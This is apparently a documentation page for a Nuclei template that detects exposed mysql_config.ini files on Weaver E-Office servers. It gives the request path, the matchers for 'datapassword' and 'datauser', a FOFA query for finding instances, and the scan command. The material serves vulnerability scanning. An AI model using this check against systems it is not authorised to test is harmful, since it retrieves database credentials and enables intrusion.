OA E-Office mysql_config.ini - Information Disclosure
ID: weaver-mysql-config-exposure
Severity: high
Author: SleepingBag945
Tags: ecology,weaver,oa,lfi
Description
Section titled “Description”E-Office mysql_config.ini file can be directly accessed, leaking database account password and other information
YAML Source
Section titled “YAML Source”id: weaver-mysql-config-exposure
info: name: OA E-Office mysql_config.ini - Information Disclosure author: SleepingBag945 severity: high description: | E-Office mysql_config.ini file can be directly accessed, leaking database account password and other information reference: - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA%20E-Office%20mysql_config.ini%20%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md classification: cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: weaver product: e-office fofa-query: app="泛微-EOffice" tags: ecology,weaver,oa,lfi
http: - method: GET path: - "{{BaseURL}}/mysql_config.ini"
matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header,"text/plain")' - 'contains_all(body,"datapassword", "datauser")' condition: and# digest: 4a0a00473045022100ed2ea1f6e775ab9fc5c0e42686559d972d9b5d2b9736769308be280cc3eab1ed0220234d1de92405e164114cbc919de19a407e188f4fa707c4c678f1ef49d71d7f80:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-mysql-config-info-leak.yaml"